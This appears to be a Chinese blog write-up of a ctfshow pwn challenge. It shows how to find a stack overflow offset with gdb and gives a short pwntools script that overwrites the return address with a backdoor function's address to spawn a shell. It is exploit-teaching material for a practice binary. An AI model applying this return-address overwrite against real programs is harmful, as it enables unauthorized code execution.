当前位置: 首页 > news >正文

用gdb的动态视角看ret2text的实现

来看一道非常简单的栈溢出

image

ctfshow函数里面有read函数,最多可以读0x32个字节

image

image
后门函数地址ida里很明显,0x8048521

exp本身不难写,下面看一下怎么用gdb确定偏移

'from pwn import*
io=process("./pwn")
#io=remote("pwn.challenge.ctf.show",28175);
gdb.attach(io,"b main") #在main函数下断点
payload=b"A"*(0x12+0x4)+p32(0x8048521)
io.sendline(payload)
io.interactive()

image
一直按n让运行到汇编代码的ctfshow处,按s单步进入

image

可以看到read函数,走到read函数,看到read函数在0xffffcfc6处读入数据
image
stack看一下栈
image

0xffffcfd8 是当前函数的栈底,指向的0xffffcfe8是上一个函数的栈底(old_ebp)

用0xffffcfd8减去0xffffcfc6得到0x12,这也就对上了ida里的偏移量

我们退出,输入fini直接运行完,可以看出已经覆盖了0x12+0x4个字节,并且我们的后门函数地址已经成功覆盖到了ebp下的返回地址,
image

我们继续按n走到后门函数,将后门函数压栈,按c得到system/bin/sh,(只是本地调试,因此没有flag文件)
image

http://icebutterfly214.com/news/331/

相关文章:

  • go包装bing搜索
  • 鼾声识别芯片方案和睡眠产品的应用场景
  • 2025年工程管理软件公司综合推荐榜:助力建筑行业数字化升级
  • Excel高性能异步导出完整方案!
  • 2025年多功能综合杆厂家排名前十推荐
  • 2025年度在线网站客服系统综合排行榜正式发布
  • JDD Oxygen智能零售论坛 | 《大模型时代的广告营销变革与实践》
  • 2025年市面上新加坡留学品牌、行业内公司及口碑产品推荐排行
  • 11-文件上传
  • TensorFlow与PyTorch深度对比分析:从基础原理到实战选择的完整指南 - 指南
  • Navicat 17 超详细保姆级下载安装教程:附激活工具使用步骤​
  • el-date-picker样式修改
  • 浅谈 Agent 开发工具链演进历程
  • 电梯调度算法结对编程作业
  • 2025质量可靠的义乌刺绣工厂推荐榜
  • DP1312多协议高性能读卡芯片支持A/B/Felaca/18092智能门锁读卡器模拟卡兼容PN512 - 动能世纪
  • 2025年10月兰花油品牌推荐榜单:多维度深度对比与选择指南
  • 2025 年1KV 冷缩硅橡胶电缆附件,冷热缩电缆附件,绕包电缆附件,熔接电缆附件厂家最新推荐,产能、专利、环保三维数据透视
  • 低代码开发便捷的技术深度解析
  • 2025年浅拾兰花双萃致臻精华油:从成分与科技维度解析其护肤功效
  • 销售公司绩效考核全攻略:维度、原则与数字化赋能方案
  • 题解:P4434 [COCI 2017/2018 #2] ​​Usmjeri
  • 小程序-跳转到公众号
  • 如何解决一堆向量的问题?10、Self-attention - -一叶知秋
  • 洞悉过往,一目了然:浅述视频融合平台EasyCVR如何实现海量视频录像的智能检索与高效回看
  • 2025年国内外五款AI编程工具深入对比与推荐排行
  • CSPS 前后的话
  • 2025 年 10 月云仓 ERP,云仓 saas 系统,云仓代发系统公司最新推荐,技术实力与市场口碑深度解析
  • iOS混淆实战用多工具组合把IPA加固做成可复用的工程能力(iOS混淆 IPA加固 无源码混淆
  • cyclonessd ROS2 lidar topic 数据丢帧 系统配置